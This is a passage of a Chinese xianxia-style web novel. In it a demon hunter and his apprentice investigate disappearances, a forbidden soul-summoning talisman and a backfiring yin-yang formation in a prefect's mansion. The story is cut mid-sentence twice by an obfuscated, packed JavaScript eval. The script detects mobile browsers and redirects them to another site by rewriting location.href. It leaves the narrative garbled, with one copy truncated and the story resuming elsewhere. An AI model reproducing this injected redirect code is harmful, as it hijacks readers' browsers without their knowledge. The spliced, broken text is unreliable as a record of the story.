“宋小姐已经说过了,为何还要特地来再说一遍?” “我……”宋如遇谨慎地看了看四周,“路公子,能借一步说话吗?” 路植晏视线在她面上掠过,转过头,来到月光陈铺最耀眼的一顶假山处。 两人默视着,面前人潭眼山眉,目盛蟾光,睫毛垂下时,却沉沉如盖幕,一眼扫过来,总有一种莫名的逼视感。 宋如遇始终等不到他先问出那一句“宋小姐想说什么”,索性自己开了头:“我知道这府中还有妖邪。” “宋小姐肯同在下这般说,想必是有一定的证据。” 宋如遇紧着帕子,犹疑迟徊:“证据……证据应算不上。我,我只能将自己所知,告知路公子。” “两个月前,父亲说要去一趟乐州,因我从小身体不好,体弱多病,所以他就没带我去,只带了一心想走科考的阿兄见见世面,结识人脉。 大概三四天后吧,父亲独自一人回来了,心急火燎,发了好大一通脾气,府里顿时忙上忙下,县衙的人也是陆陆续续的过来。我这才知道阿兄失踪了。也是从阿兄的失踪起,金陵城中也渐渐有人失踪了。” 路植晏捡起假山上的一颗小石头,捻着看了看,散漫道:“宋小姐所说,都已在案册。” 宋如遇摇了摇头,肃然道:“其实一个月前,在阿兄的葬礼上,我亲眼见过他。” 路植晏一停,终于露出一些疑惑与诧然:“宋小姐是说,你见过本该失踪的宋公子?” “是。虽然是一扫而过,但我十分确定就是宋揭,只是我没想到……”宋如遇害怕地抖了抖,“只是我没想到他会那样!” 她指着路植晏身旁的假山:“对,就是那夜,那夜的假山后,我看见了他。” 她目光涣散,陷入回忆。 “阿兄出殡没多久,四月初十,当时阿爹还没搬小佛室,我去书房寻他,想问问我最近身体好多了,可不可以出府散散心,碰巧他离开。镜儿一直催促着我赶紧回西院,我也没执着,便想着明日再问也一样。 从前厅到花园的距离也不远,我刚走了没几步就听到一阵水声。 顺着声音走到这假山后面,我就看到了一截残影一闪而过,衣服上好像还挂着血,我想再瞧得真切一些,那道影子却忽然不见了。我又惊又惧,只觉得此人身形很像阿兄,于是壮着胆子撇开镜儿,顺着路寻去。” “谁知他七绕八绕,竟去了西院,我就喊了一声‘宋揭!’,他并没什么反应,跑得愈发快了,我不死心,又喊了一声‘阿兄!’他就突然没了影。” 宋如遇捂着嘴,可还是控制不住地哆嗦:“路公子你说,我阿兄会不会是……” 她不敢说,她怕一说出来,一切就变成事实了。比如宋揭成了鬼,比如宋揭成了妖。 “没影?宋小姐当时可听到什么声音?” 为何早没影晚没影,偏偏到西院没影了。 宋如遇摇了摇头:“没有,他虽跑得不快,但我心中害怕,有意和他拉了些距离。” “宋小姐,勿惊。”路植晏垂眸,默默伸手挡住明月照在假山上的光线,他手掌抬抬降降,竟像是与月光玩了起来,“宋小姐没有将此事对任何人说过?又为何突然说出?” 宋如遇被他轻如鸿毛的话一逼,顿时变得局促,显而易见地慌乱起来:“没对其他人说过,只是我……我本以为那是我的……我的错觉。 可看见你们和齐司使,我才知道金陵案牵扯之人甚广,现在是任何一条线索都不能放过。再说了,我也是想了很久……想了很久才有勇气和路公子开口的,毕竟,毕竟此事说出来还是太过诡异。” 路植晏终于玩够了皎光,他单负手,另一只手将石子抛起又接住,随意走了几步,仰头看了看穹庐:“原来如此,后来呢?” “后来……对!这时还发生了一件事。”宋如遇双目一眙,才想起来一月前的事,自己都有些不可置信。 “后来我也不敢进西院了,着急忙慌就要去小佛室寻阿娘。经过花园时,忽见张正从树丛里慌里慌张地跑出来,见到我,他非常震惊,匆匆回头看了一眼就赶紧向我行了一礼便离开,我还没反应过来怎么回事,就听到一阵哭声。” “哭声?” 宋如遇狠狠点头:“前番所说我自己都有些不敢相信,但这哭声绝不是幻听,因为我看见了阿娘,竟是她坐在丛中小亭下哭泣!我问是发生了何事,她也不说,只匆忙走了,只留地上的一把剪刀。 哦对了,我放在桌上的剪刀就是从此处捡的。” 她略略不解,继续道:“可我记得从几年前开始,母亲就对我们兄妹两不闻不问,阿兄失踪后,阿娘只冲着阿爹撒了一通气,责怪他为何要带阿兄去乐州,但她也只是哭了片刻,此后照旧不理府内事务,将自己关在小佛室中,很少出门。” “过不了多久,阿娘就……就上吊自戕,阿爹伤心欲绝,天天抱着母亲的棺材不肯下葬,一拖再拖,日日待在小佛室,甚至常去灵安寺为她祈福,直到前几日才舍得将其下葬。” 宋如遇说完,像是被抽去气力,整个人瞬间萎靡下来,眼睛也泛着深深的红。 路植晏转过头定定地看着她:“多谢宋小姐知无不言,言无不尽,还请勿悲。” 说罢,将石子扔进了小池,“咕咚”一声,激起小小的涟漪,在墨夜中,如一捧黑色绸缎皱起。 “那路公子是怎么想的?” 路植晏眸光一暗,将她的话打断:“宋小姐。” 被他陡然提高的音量吓到,宋如遇还以为发生了什么怪事,却见他温柔回顾。 “还是,早些歇息吧。” 送走了宋如遇,路植晏继续闭目养神,回想着她刚刚说的话,到底几句为真,几句为假。 这府中到底有多少人在撒谎。 想到一半他突然想到另外一件事。 * 谢惊春乖乖捧上套着金樽之鞘的游龙,深深鞠了一躬,双手扶膝:“其实,我说我拔不出来你信吗?” 路植晏手腕一转,将鞘身旋了一圈,对自己的游龙居然能被插进金樽的鞘,也感到惊奇。 “怎么会拔不出来?你也好歹练了几个月,手劲还这么小?”路植晏一脸轻蔑,“看好了。” 很好,第一次拔直接拔脱手了。 路植晏尴尬地摸了摸后颈,面上还一副很轻松的样子,手却在偷偷蓄力,横着拔,竖着拔,踩住剑格往上拔,都是无用功。 他气得往桌上一扔:“你赔我。” 谢惊春认命般地抬起头:“怎么赔?” 路植晏不过是为了掩饰尴尬说的话,此人竟也当真,他差点就说出‘怎么赔?拿你赔!’这样的话来,但一想这话也太怪了! 无语到极致后,他叉腰睨着谢惊春,平静到像是懒散:“把自己师父的剑弄到拔不出来,闯祸闯到这个份上,你也是千古第一人。” 谢惊春乐了:“太好了,终于荣获第一了,这辈子没当过第一。” 路植晏:“……” 两人大眼瞪小眼,呆呆盯着桌上那把剑,都不知道怎么办。 盯了半天,谢惊春拍案而起:“我有办法了。” 谢惊春找来麻绳,缠绕在游龙的剑格之上,然后将一端递给路植晏,自己像驴拖磨一样前进。 在游龙被抽出的一瞬间,谢惊春整个人不受控制地向前犁去,马上就要摔个狗吃屎,路植晏一召游龙,硬生生将她拽了回来,游龙要归鞘,谢惊春也被拖着往路植晏怀里去。 还好她放手放得及时,停在了离路植晏身前几米远的地方。 难得反应这么快,谢惊春在心中夸了自己一句。 “怎么样?厉害吧?” 她迫不及待地邀功,转过身时,却看到路植晏的手做捞取状停在半空中,身上缠着一圈一圈地绳子。 谢惊春才是最危险的那个人,路植晏想,只要她在一起,自己或多或少总是会受到伤害,要么就是掐他的手指,要么就是撞他,还差点让游龙再也无法取用,已经数不清了。 他将绳子一通乱解,谁料越缠越紧。 “你别动,我来!”谢惊春知道自己又干坏事了,赶紧跑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285094|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,小心翼翼地给他解绳子。 但在此过程中,她突然发现自己终于实现了在渡金岭的愿望——将路植晏绑起来。 “你在想什么?”身边人幽幽开口。 “想把你捆……”谢惊春一顿,沉默了一会,试图弥补,“想把你捆进身体里面~不敢让你看见~” 嗯?是这么唱的吗?什么歌词,居然玩强制爱! 谢惊春的手像翻花绳一样在他身上来去如飞,绳子逐渐被解开,路植晏的怒气似乎也随之消散,竟破天荒地问了一句:“后面呢?” “额……”谢惊春认真想了想,后面的歌词她不会唱,只能勉强毫无感情地读出来,“嘴角那颗没落下的泪,如果这是最后的一页,在你离开之前,能否让我把故事重写。” 说完,她点点头:“应该就是这样的!” 路植晏没说话,褪下绳子后便道:“走,我要去找那两个丫鬟问话,你是女子,在边上更容易让她们开口。” 他拉着谢惊春找到昨夜躲在房间里的另外两个小丫鬟,她们被吓得不轻,木然呆了一会儿,面面相觑:“异常?好像没有……” “齐司使不是已经说了,是鱼妖趁黑杀了碧儿,如今鱼妖已然伏诛,不知……不知路指挥使问这个做什么?” “要真说奇怪,当时碧儿好像莫名小声说了一句:‘好臭。’” 当时率先喊杀人的那个小丫鬟握紧拳头,支支吾吾道,“其实我也觉得有点,像是刺史大人身上的,我听其他下人说,自从夫人下葬后,大人就没叫过澡水。” “臭……”谢惊春突然指着自己和路植晏,“那你有闻见我和他身上有香味或臭味吗?” 丫鬟尝试着闻了闻,摇摇头。 另一个丫鬟手伸进袖子里,似乎要拿什么东西,可她似乎犹豫了,又空着手从袖中抽出来。 谢惊春注意到她的举动,温声劝道:“但说无妨,放心吧,今日你所说我们不会和任何讲的。” 她此时的声音像是春日长河中细流的水,又像是太阳刚起时绵柔的云,一双澄澈的眼睛定定地看着,里面掐出一圈明亮,那抹明亮微闪,叫人忍不住放下心中害怕与戒备。 丫鬟迟疑片刻后像是得了鼓励,点点头,从袖中掏出一张符箓:“这是婢子捡的,当时宋大人从怀中掏出几张符,贴在门上,这些符本该都长一样,可只有这张长得不太一样,看着像是画了个小人在上面,好像还写了字,但我也不识字,但还是觉得怪……怪可怕的。” 路植晏:“宋大人对待下人还是够有情义的,无所谓识字?” 像宋括这样的文人,又官至刺史,想来会对下人是有些识字要求的。 “那……那倒也不是,只是最近府中不是缺人手吗,我俩都是侥幸被提上来端茶送水的,以前也只是个粗使的。 “那你们进过小佛室?” “小佛室?” 路植晏解释:“就是宋大人的书房。” “那自然去过,自夫人去世后,我们两个专门被派去一旬洒扫一次书房。” 见路植晏没再问什么,丫鬟继续符箓的话题:“当时宋大人给我们每个人都分了几张,让我们分别在门窗上都贴上,这样速度快些。我,我当时害怕,就藏了一张保命,可后来才发现,这张符不对。” 路植晏漫不经心地问完,可接过之后符箓定睛一看,他面色变了变,眉眼间布满阴霾。 招魂符。 “咦?这我在当阳书阁中看见过,这不是禁符吗?” 在当阳,谢惊春曾跟着路植晏去过书阁,她对那些晦涩难懂的书籍没什么兴趣,倒是对一些禁术秘闻感兴趣,有一次偶然翻到一本《禁术广志》,刚翻了几页,就被路植晏从身后夺去。 当时他的语气还总是十分不友好,时不时像刀子一样:“你看得懂吗?基础都还没打好,还想乱学。” 谢惊春记得招魂符一开始只是可以暂时唤回刚死之人的魂魄,后来不知怎么就一步步发展,被百年前的捉妖师一顿鼓捣,竟变成可以随便召出一个人的魂魄,无所谓生死,也无所谓尸体是否还在,就可以将死了十几年的魂魄拉出来遛遛,甚至占据活人的身体, 这完全搅乱了生死相隔的天定之数,还发展出黑色产业,借此敛财的敛财,为祸的为祸。 于是招魂符彻底被除正道之名,谁用就被群起而攻之,久而久之,会的人少了,传的也少了,如今已经见不着了。 没想到现在居然还能亲眼见到真正的招魂符,虽然缺了一角。 “你竟记得。”路植晏举起符纸,眯起一只眼,看清这潦草的笔画中盖住了一个人的名字,“张正。” 窗外风儿一来,将招魂符吹起。 40. 松鼠与金陵(二十) 谢惊春跟在路植晏身后喊道:“你这是又要去哪儿?” “西院,你也跟我过来。”路植晏嫌弃她走得慢,直接捞起她的胳膊,将她扔到自己前面去。 “被风水局困住,一个小风水局能困住三百年的妖?” 路植晏喃喃,他站在被收拾得差不多的西院中,看着莹莹发光的浅洼:“所以当时,你被水冲到何处了,怎会拖那么长时间?” 谢惊春一心踮着脚走路,生怕泥淖脏了自己最爱的猫头鞋,忽闻此问,她怔了怔,随后云淡风轻道:“被水呛到了,多晕了会儿。” 路植晏狐疑地看着她,但没继续问下去,而是勾勾手指,招呼她站在自己正前方。 “怎么了?” 路植晏摸着下巴思索,随后用手臂比了条直线:“往右来点。” 他环视一圈,最后视线定于谢惊春身上。 在他的眼中,泛着光的白线将四房相连,每一个房间相当于锚点,而惊春的位置显现出一个圆阵,方位四旋,阴气聚顶。 谢惊春自言自语道:“感觉这里确实不太好。” 她身后是灼灼艳日,路植晏不自觉眯起眼睛:“怎么说?” 谢惊春指着池边三棵被水打得残败的槐树:“都说槐树招鬼,还有桑树也是,反正小时候扫墓大人都说坟头长梓树好,寓意着子孙延绵,长桑树不好,和「伤」音相近。这里种了三棵槐树,不仅挡住光线,寓意还不好。” 路植晏捻着手指,许久,走到她身边,将罗盘重重地递给她:“拿着这个,站好。” “为什么给我?” “你初学,需记口诀,听好了,我只说一遍。四七为经,五德为纬。阳德有象,阴德有位。地有四势,气从八方,纵横万里,律令显彰。” 这意思是要教她新的东西? 谢惊春唇角微扬,明媚的笑意瞬间在脸上荡漾开来,头点得像拨浪鼓:“好好好!” 她站得笔直,仿佛要告诉手中罗经——我非常重视,所以你要争点气让我赶紧学会。 一整个小强强参见风水大王。 “你站那么直干嘛?等雷劈?”路植晏取下长吟,轻拍了一下她的背,“凝神,思位,念。” 要不是经历过魔鬼训练,谢惊春这身体估计得犁出去。 他是对自己的力道没什么概念吧,自以为没使多大劲。 谢惊春扯了扯嗓子,干咳几声,闭眼长呼一口气,随后默念:“四七为纬,五德为经。阳德……” “反了。”路植晏单手转着长吟,看似漫不经心。 谢惊春立马明白他所指,但她不明白自己都没发出声音,他如何知道她念错了。 少女的嘴唇启启合合,字字无声,异常清晰。 顾不得想这些,谢惊春重新屏气凝神,郑重其事地低语:“四七为经,五德为纬。阳德有象,阴德有位。地有四势,气从八方。” 语毕,“噌”的一声,巨大罗盘投影浮现在眼前。 她睁开眼,尚来不及欣喜,一股怪异的气流涌动,罗盘震颤,投影疯狂转动后突然平静,又在一息之间崩解,化为如星子般的碎片。 路植晏似早已预料到会这样,他默不作声,百无聊赖地拔出长吟,眯起一只眼睛对着阳光照了照。 刺眼的光斑划过谢惊春的脸,她毫不犹豫地重新念诀,眉目更加坚定,所感方位更加明朗。 伴随着体内真气运行,预感之盛,她陡然横臂,眼瞳闪现刹那金光。 “显!” 一时间,不止是巨大罗盘影像,连地面四方都隐隐跳出阴阳阵,蓝白烁影交错。 路植晏的脸上闪过惊愕之色。 这么快? 按照谢惊春平日里的学习速度,她根本不可能在一天之内学会。 谢惊春并不知道学会任何一种法术需要的平均时间,但她能肯定自己的学习速度很慢。 所以也只是惊喜了几秒钟,她马上就不以为意,想到前几日晚上路植晏的操作,转头问道:“路植晏,没有铜钱怎么办?” 路植晏反手将长吟放回背上,恢复了云淡风轻,道:“你已经在乱象中心,不需要铜钱。” 谢惊春回头,审视着这奇怪的布局,她现在位于东西两房的正中心,如同被一支穿心箭贯穿。 而宋如遇曾经的房间在南,但根据罗盘指引显示,她的房间似乎也不是在正南,而是稍微偏西。 谢惊春结合之前在当阳看过的书籍,说道:“此地阴气太重,震兑二宫极盛。” “阴用阳朝,阳用阴应。阴阳相见,福禄永贞。阴阳相乘,祸咎踵门。”路植晏看着她,问道,“如何破之?” “阴地三年以下用符,三年以上用阵。”谢惊春继续道,“刚才在来的路上,宋姑娘说过西院是多年前造来给她养病的,那就得用阴阳阵了,所以……” 所以……所以就没有所以了。 很多阵法都是要依靠剑,符,法器完成,且掌阵是要将周围方位磁场全部纳入道自己的绝对掌握之中,这不仅需要消耗大量真气,还需要一定的念力。 所以很多人都会选择将符剑以及心境修到一定程度,才会分出时间心神去修阵。 谢惊春的剑法与符法都是堪堪之地,极少花时间学布阵,更不可能学过阴阳阵了。 “要不你就再用在凌阳时教我的速成之法?” 路植晏对她的异想天开嗤笑一声:“此法世间只有两人会,你能见识到一次算是幸运了。另外,用此法者,可是要折寿的,传的术法越厉害,折的寿越多。” 谢惊春明显一怔,凑近几步试图从他脸上看出更多的真假,半信半疑道:“这玩意还有反噬?!你认真的?那你上次凌阳……” 这件事路植晏还从未和她说过,她也从未想过这层,只是觉得这速成之法简直不要太方便。 “放心,你没事,折的是我的寿。” “我不是这个意思,我说的就是你啊!” 谢惊春的心像是被什么东西捏住,呼吸一滞。 缚妖阵那么厉害,那他岂不是…… 路植晏本想说出事实,速成之法折寿不假,但是小小缚妖阵而已,况且他当时负伤,传授的还是最低级的缚妖阵,更多的希望是压在赵无悲身上,他也没想到谢惊春会做的那么好。 凌阳用此法,大约也只会消耗他半个时辰的寿命。 但突然看到她那紧蹙的眉头和慌乱自责的眼神,他莫名觉得有些愉悦,心情大好的想要捉弄一番。 他鸦羽般的睫毛暗暗低垂,扫下一片看不清的阴影,无所谓中又透着感叹:“是啊,没几年了可活了。” 谢惊春捕捉到他语气中故意隐藏的几分感伤,心中怀疑降了几分,同时不安感也如蒸汽般突突突地漫上来:“几年?!!” 她脚步微跄,完全没有想到看似平平无奇的一次捉妖,居然会有这么大的代价。 “不就是命吗?活得长了反而没意思。你没必要为此自责,和你有什么关系?除了妖你还立了大功了。” 路植晏对她目前的反应很满意,是继续当蒙鼓人的好料子。 他那毫无痕迹的表演,让谢惊春心中仅存的丝丝疑虑荡然无存,她整个人瞬间凉了下来:“你怎么现在才和我说啊?” “早说晚说不都一样?你又没办法给我续命。” 好玩。 路植晏有点后悔,应该早点告诉她的,这样还能多骗她会。 谢惊春垂首,不应该存在的自责却想要挤破她的脑袋。 其实很讨厌自己的性格。敏感多疑,爱反思,爱自责,却总是装成一副无所谓和没关系的样子。 她一直觉得自己很假,表里不一。 思想上的她嫌弃性格上的她,简直就是一种自我的背叛。 就像现在,她为自己第一反应是质疑路植晏而感到羞耻。 她明确的知道,自己没有求着路植晏用速成之法教缚妖阵,也知道当时的情况紧急,可她还是自责泛滥,总感觉和自己有关。 毕竟那是人命啊,在如此青春年少的年纪只能活几年,是一件多么悲哀的事情。 想着想着,她的脑海中突然闪出一张人脸。 那张脸疲惫不堪,呆滞无光。 她愣了一会儿,半晌反应过来,这张脸是她自己的。 可画面稍纵即逝,大脑没有给她任何机会去探寻它出现的缘由,而是给予她一阵如密针扎过的痛苦。 细密的汗珠从鬓间滑落,谢惊春扶着额头,整个人都有些站不稳,脚步微晃。 路植晏点墨般的眸中闪过一丝慌乱,或许是因为欺骗而心虚:“谢惊春,不至于吧……这么自责?” 阵痛过去,谢惊春双颊泛白,眼神颓败。 她强撑着,在短时间内将自己的气息调平,缓声道:“我没事。” 能有什么事?相比于路植晏时日无多这件事而言,她的事都是小事。 “你真的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢惊春愣了愣,下意识地想要问一句「你确定?」,但她说出的却是:“那就烦请路二公子赐教了。” 再一次,小强强参见阴阳阵大王,万岁万岁万万岁。 路植晏:“……” 他盘算着,下次教谢惊春,一定要挑个雷雨天。 见他半天没有要教的意思,谢惊春便问:“口诀是什么?” “没有口诀,你只需再试一次方才念诀时的感觉,一气呵成。” 话音刚落,谢惊春便已经开始了。 “等等!” 彼时,宋括略显紧张的声音传来,他小跑着,神色慌张。 然而没等他继续说下去,疾风骤起,东西二位的四门猛然大开,风如穿心,刹那而过。 残叶纷飞,墙上本就没几朵的凌霄花也于风中掉落。 日光被遮蔽,天空暗了下来,西院上空弥漫着一股肃杀之气。 “停下,快停下!” 宋括在狂风中凌乱地大声喊着,身上本绽线的官袍显得更加落魄。 谢惊春的碎发被猛地吹散,裙摆扬起,银锁哗啦啦地响。大风肆无忌惮地从口鼻灌入,她连话都说不出来,一开口,便觉得异常窒息。 路植晏别过头,黑发疯狂地拍打着剑鞘,绕在脖颈前,耳下铃也随之晃动,却没有发出任何声音。 “路植晏,这怎么收啊?”她用手臂挡在面前,拼尽全力才勉强从嘴中吐出几个字,只是她的声音很快就消弭在风中。 她刚说完,蓦然觉得胸口发闷,像是塞了个巨大的铁铅,一下子将呼吸道堵住,一股浓烈的腥锈味从喉口快速涌上鼻尖。 路植晏察觉到她的不对劲:“谢惊春?” 她呼吸登时急促起来,胸口快速起伏,煞白的脸儿恨不得皱在一起,紧紧地抓着衣领,掌骨顶起,被剪平的指甲还能在锁骨处留下深深的红痕,甚至要沁出血来。 想仰头呼吸,脑袋却传来阵阵轰鸣,只能痛苦地蹲下身。 阴阳阵反噬? 这里有隐蔽的封印禁制? 路植晏抬起她无力的手,随后,十指相扣。 刹那间,真气如两河交汇,只是此河不静,反而激起惊涛骇浪。 风不再局限于西院,如海底猛兽叫嚣着千年难得的自由,癫狂彻底地肆虐起来。 41. 松鼠与金陵(二十一) 【谢惊春!】 “谢惊春!” 路植晏抓起她的另一只手,试图用自己的力量强行将她体内的真气调稳。 两人的双眼被风吹得逐渐发红,漫起迷蒙的水汽。 宋括一屁股坐在地上,想要往回跑,却寸步难行。 他失张失致地从怀中掏出一张符箓,随后将其撕碎,轻轻一松手,碎屑立刻就被狂风卷走。 接着,他双手合十,似在祈求上苍。 谢惊春心肺在狂烧发烫,手脚却是冰凉刺骨,浑身的血液都在往心房处奔走,大有举全身之血,以保心脏跳动之意。 气息更可谓是乱成冰火两重天,在瞬间沸腾得几乎要炸开,又在瞬间沉寂下来如同死亡。 如此起起伏伏,她的意识愈来愈朦胧,所能吸入的空气越来越稀薄。 好像是要死了。 谢惊春想。 只是,她连死的原因是什么都不知道,实在是有些悲哀。 不知过了多久,她慢慢感觉有什么温暖的东西轻轻流过血管,如和煦的春风拂过冰封林涧,流水潺潺;又如沁凉的甘霖降于荒芜沙漠,绿植葱葱。 一股生的希望在身体里开花,渐渐地,连风都变小了,体内的喧嚣也渐渐安定。 路植晏的额角凝起汗珠。 终于,风儿戛然停止,所有的呼啸声在一瞬间安定下来。 他睁开眼,接住向后仰去的谢惊春。 谢惊春缓缓抬眼,发现依旧是蓝天湛湛,白云悠悠。 她又闭上眼,声音颤颤:“啊?没死啊……” 伴随着一阵如回光返照似的剧痛,她终于压制不住,一大口殷红的鲜血从嘴角溢出。 “你先闭嘴。” 路植晏封住她锁骨下两穴,动作快速而不逾距。 周遭气流发生微妙的变化,大地隐约一震,微乎其微的感觉更像是错觉。 路植晏顿了一下,他回头看向离池塘最近的一棵残破槐树,但马上将谢惊春打横抱起。 听闻谢惊春受伤,赵无悲和齐怀金纷纷赶来。 只是等到太阳下山,她都未醒。 “路兄,你们,你们干什么了,谢姑娘怎么会受伤?” 齐怀金鼻孔张得老大,瓮声瓮气:“定是那夜袭击我们三人的妖怪又出现了,鱼妖已死,难不成又有其他的魅煞存在?” 说着,他的目光停于挂在床架子上的斜挎包,大拇指开始摩挲剑格。 自找回松鼠,就让它好好呆在惊春的包里,路植晏将那斜挎包上覆了一层禁咒,就是为了防止松鼠被符阵捕捉。 可因为白日的变故,禁咒已然稀松了很多。 齐怀金倒不是察觉出松鼠的存在,而是察觉出了禁咒的存在。 十年捉妖人的敏感度,让他直觉出这包有问题。 路植晏坐在那儿沉吟不语。 他白日里去找过宋括,告诉他西院的风水不好,阴气太重,宋如遇的病迟迟不好,与此也有关。 “刺史大人适才为何直呼停下?” 宋括好端端地呆在书房,回道:“路指挥使可还记得,我说过几年前曾有个云游道人来此,他当时说的与指挥使,恰恰相反。” “当时我女儿濒死,他言当时的刺史府风水不好,是他出主意让我造西院,刨池塘,种槐树,又于东廊布下以符画就的丝绦。此后,如遇虽小病偶生,但确再未有性命之虞。” “大人可还记得此人的真名或道号?” 路植晏道不经意地瞥了一眼佛龛,那里早已合上。 宋括凝思少顷,摇摇头:“他倒是自称过一次,不过我当时只紧着如遇,这么多年也就忘罢。” “他当时说千万不能让人轻易改府中气机,若是万不得已就撕掉他留下的一张黄符,求拜三清。” 这当真是一个道人能说出来的话? “实在对不住,未能向大人请示,不过这西院气机尚未改变,不知大人现下是要继续相信那不知去向的云游道人……”路植晏目如岩下电,“还是相信我等?” 宋括提笔画圈,笑道:“自然是相信三正。” “大人明见。” 宋括看着路植晏脖间不小心露出的雷惊木,上面隐隐约约刻有字印,想了想:“嘶——我忽忆起一点,这个道人的脖颈前后,均有刺青。” 刺青。 路植晏立刻想到松鼠口中那个在喉咙处拓有“恭迎”之人。 “路兄?”赵无悲的声音将他拉回来。 “不是。”路植晏道,“不是有妖,只是我想教谢惊春阵法,一时失之要旨罢。” 他起身来到屋外,微转心念,阴阳阵大开,但是却没有方才的狂风大作。 表面上好像什么都没发生,但是他的阴阳阵已经将整个刺史府的气机改变。 谢惊春初学阵法,尚显稚嫩。但是不可能会引起那么大的反作用,且她体内真气运行太过怪异,若不是他强行输入自己的真气,阴阳调和,她会死的。 所以,她一定是触发了什么封印禁制,遭到反噬。 而现在,他用阴阳阵却什么事都没有,甚至连一点感觉都没有。 那只能说明一件事,禁制被破了。 谢惊春破的? 这个念头几乎刚出现,就被他否定了。 禁制比阵法难学,那么强烈的反噬说明此地封印不弱。 谢惊春再度醒来时,已是昏光收尽,暮色苍苍,窗前树影摇曳,还有几声早蝉鸣叫和远处的布谷鸟啼。 “惊春你醒了!我去给你端药。” “如遇,不用……” 可是宋如遇完全没听,提留着裙子欣喜地去给她端药。 路植晏恰巧走了进来,宋如遇拍拍他的肩膀:“我让他们师徒去吃晚饭了,我去给惊春拿药,所以就劳烦路公子帮忙照顾一下吧。” 他低头看了眼肩头。 帮忙照顾他带的人? 这话听着怪怪的。 “醒了?”路植晏的语气淡出水来,和宋如遇的反应简直就是天差地别。 谢惊春扶着额头坐起身,看见他堂而皇之走过来,身后门户大开,月色如水流淌进来。 他一肩的明净,闲庭信步地来到桌前,自顾自地拿起桌上青桃咬了一口。 随后,眉头紧蹙。 他的背影一动不动,谢惊春看到他烛光下的手紧紧曲起。 忽然,路植晏背部一松,转身来到她面前。 他掀开衣摆,掸了掸身上的灰尘,随后递给谢惊春一杯水。 “嗯?哦谢谢。”谢惊春有些猝不及防,咕噜咕噜喝下去,发出满足的喟叹,“啊——” “奇怪,我怎么会吐血呢?”她不理解。 路植晏:“原先应该是有禁制,只是现在被破了。我怀疑,鱼妖口中那令它不能出池塘的风水局,就是所谓的禁制。” “难怪我们一直在刺史府,你的铃却一直没响,那它前天夜里突然出现,岂不是那时禁制就已经破了。”谢惊春转念一想,“应是破了又没完全破,要不然我不会受伤的。” “我们刚出小佛室,鱼妖就出现了,我怀疑它的出现,和佛龛有关。” 谢惊春打起精神:“再去一次?” “若龛中银针是宋括的手笔,他恐怕早已发现被动过,再去,岂不是自投罗网,适得其反。” “有道理,只是还没探清那里面有什么秘密,竟要装一个暗器相护,实在可惜。” 路植晏终于忍不住提醒道:“宋如遇此人,莫名与你这般相厚,你真的不觉得她有什么问题?” 这个问题谢惊春还真不好回答,或许是系统的提示让她潜意识里架起了防备姿态,又或许是她这个人,本身就不知道怎么交朋友。 她本该是没有任何朋友的。 与姜眠鹤的快速相近是因为姜眠鹤的性格非常活泼又主动,且谢惊春已经在小说中认识过她一遍了。 至于和她一样,在原著没出现过的宋如遇,谢惊春有些纠结,系统曾告诉她要提防宋如遇,可是宋如遇似乎对自己又是一片赤诚,是真的把自己当成这个世界最信任的人。 她越想越纠结,一会产生自责的想法,觉得自己太冷漠了,一会又甚是疑惑,宋如遇到底为什么会知道问心石洞这四个字,为什么会说出代号205? 谢惊春的脚勾住鞋子,有一搭没一搭地在地上摩擦,说给路植晏听也是说给自己听:“可能她被关久了,好不容易遇上个说得上话的女生,热情点也在所难免。而且,你也看到了,她是真的在为我担心。” 路植晏见此人被“友情”冲昏了头脑,抿抿嘴,终究是把宋如遇昨夜对自己说的那番话说了出来。 “你说什么!宋揭没死,那他怎么不现身?”谢惊春撑着床沿,眼如铜铃。 “你第一反应不应该是……”路植晏顿了一下,又脱口而出,“她与你相厚,却特地来找我很奇怪吗?” 谢惊春没注意听他叽里呱啦说的话,只觉得一个天马行空的想法在脑海中滋生。 她恍然大悟似的伸出食指,圆圆的脸蛋上满是一本正经,低声道:“等等,宋揭不会就是那个……被附身的妖吧,夫人哭会不会就是知道了此事,然后张正慌慌张张也是不小心撞见了,所以,所以被杀人灭口了?!” 她神色好了许多,双颊上已经爬上些自然的红润,眼睛也变得亮晶晶的。 歪着头思考时,仿佛完全置身于自己的世界。 路植晏的目光一直停留在她那双炯炯有神的眼睛上。 她的眼睛不能说让人一见便如坠入明媚的春河,更算不上摄人心魄。没有建模眼中自带眼线的绝美弧度,就是一双再正常不过的杏眼,眶下还有一些淡色的斑斑点点。 但胜在年轻明净,总是闪闪发亮的,似乎天上温暖的太阳,有着少女对对世间事物的好奇和不服输的隐隐较劲,睫毛弯弯,偶尔快速眨起来时,像是一只扑棱棱欲飞的蝴蝶。 虽然但是,这是什么鬼想法? 路植晏点点头。 谢惊春:“!你也这么觉得!” “很好,但应该不对。” 谢惊春脸上神采遽然消失:“为何?” 路植晏拿出杀死碧儿的那把剪刀:“因为剪刀。” 剪刀锋利无比,能看出被磨过很多次。 碧儿的尸体经女仵作查验,确实只有剪刀伤后,已被其家中人接走,宋括也给予了大笔钱财。 想到此处,谢惊春不免觉得忧伤,金陵几日,就已经亲眼见到两尸,外加一个借尸还魂的,她语气郁郁的:“是啊,刺史夫人在林中拿个剪刀做什么?” 她想到宋括所说,极不情愿地提起那两个字:“难道是,是……自戕吗?” 说完,她突然停住,低头看着路植晏的手。 看着面前突然伸过来的青桃,谢惊春一怔,但想着可能是路植晏看她负伤觉得可怜,才会这么殷勤,又是递水又是递水果。 刚好躺了这么长时间,她还一口饭没吃过。本来还没感觉,但现在看到脆生生的青桃上还挂着些晶莹剔透的水珠,安安静静地躺在路植晏修长的手指间,看起来有些诱人。 